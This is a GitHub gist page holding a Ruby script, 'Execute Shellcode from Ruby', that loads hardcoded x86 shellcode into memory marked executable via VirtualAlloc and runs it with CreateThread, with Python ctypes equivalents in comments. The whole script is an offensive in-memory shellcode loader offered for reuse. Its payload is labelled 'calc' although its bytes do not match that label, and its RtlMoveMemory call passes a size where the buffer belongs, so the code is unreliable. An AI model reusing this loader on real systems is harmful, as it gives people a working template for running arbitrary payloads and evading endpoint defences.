-
-
Save KINGSABRI/1871e748b51b6ef5c8f61a49a909b8c3 to your computer and use it in GitHub Desktop.
Execute Shellcode from Ruby
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# KING SABRI | |
require 'fiddle' | |
require 'fiddle/import' | |
require 'fiddle/types' | |
shellcode_calc = | |
"\x31\xd2\xb2\x30\x64\x8b\x12\x8b\x52\x0c\x8b\x52\x1c\x8b\x42" + | |
"\x08\x8b\x72\x20\x8b\x12\x80\x7e\x0c\x33\x75\xf2\x89\xc7\x03" + | |
"\x78\x3c\x8b\x57\x78\x01\xc2\x8b\x7a\x20\x01\xc7\x31\xed\x8b" + | |
"\x34\xaf\x01\xc6\x45\x81\x3e\x46\x61\x74\x61\x75\xf2\x81\x7e" + | |
"\x08\x45\x78\x69\x74\x75\xe9\x8b\x7a\x24\x01\xc7\x66\x8b\x2c" + | |
"\x6f\x8b\x7a\x1c\x01\xc7\x8b\x7c\xaf\xfc\x01\xc7\x68\x79\x74" + | |
"\x65\x01\x68\x6b\x65\x6e\x42\x68\x20\x42\x72\x6f\x89\xe1\xfe" + | |
"\x49\x0b\x31\xc0\x51\x50\xff\xd7" | |
kernel32 = Fiddle.dlopen('kernel32') | |
virtual_alloc = Fiddle::Function.new( | |
kernel32['VirtualAlloc'], | |
[Fiddle::TYPE_INT, Fiddle::TYPE_INT, Fiddle::TYPE_INT, Fiddle::TYPE_INT], | |
Fiddle::TYPE_INT | |
) | |
rtl_move_memory = Fiddle::Function.new( | |
kernel32['RtlMoveMemory'], | |
[Fiddle::TYPE_INT, Fiddle::TYPE_INT, Fiddle::TYPE_INT], | |
Fiddle::TYPE_INT | |
) | |
create_thread = Fiddle::Function.new( | |
kernel32['CreateThread'], | |
[Fiddle::TYPE_INT, Fiddle::TYPE_INT, Fiddle::TYPE_INT, Fiddle::TYPE_INT, Fiddle::TYPE_INT, Fiddle::TYPE_INT, Fiddle::TYPE_INT], | |
Fiddle::TYPE_INT | |
) | |
wait_for_single_object = Fiddle::Function.new( | |
kernel32['WaitForSingleObject'], | |
[Fiddle::TYPE_INT, Fiddle::TYPE_INT], | |
Fiddle::TYPE_INT | |
) | |
# buf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode) | |
buf = shellcode_calc.chars | |
# ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0),ctypes.c_int(len(shellcode)),ctypes.c_int(0x3000),ctypes.c_int(0x40)) | |
puts "[-] VirtualAlloc" | |
ptr = virtual_alloc.call(0, shellcode_calc.size, 0x3000, 0x40) | |
# ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_int(ptr),buf,ctypes.c_int(len(shellcode))) | |
puts "[-] RtlMoveMemory" | |
rtl_move_memory.call(ptr.to_i, buf.size.to_i, shellcode_calc.size.to_i) | |
# ht = ctypes.windll.kernel32.CreateThread(ctypes.c_int(0),ctypes.c_int(0),ctypes.c_int(ptr), | |
# ctypes.c_int(0),ctypes.c_int(0), ctypes.pointer(ctypes.c_int(0))) | |
puts "[-] CreateThread" | |
ht = create_thread.call(0, 0, ptr, 0, 0, 0) | |
# ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(ht),ctypes.c_int(-1)) | |
puts "[-] WaitForSingleObject" | |
wait_for_single_object.call(ht, -1) |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
The Error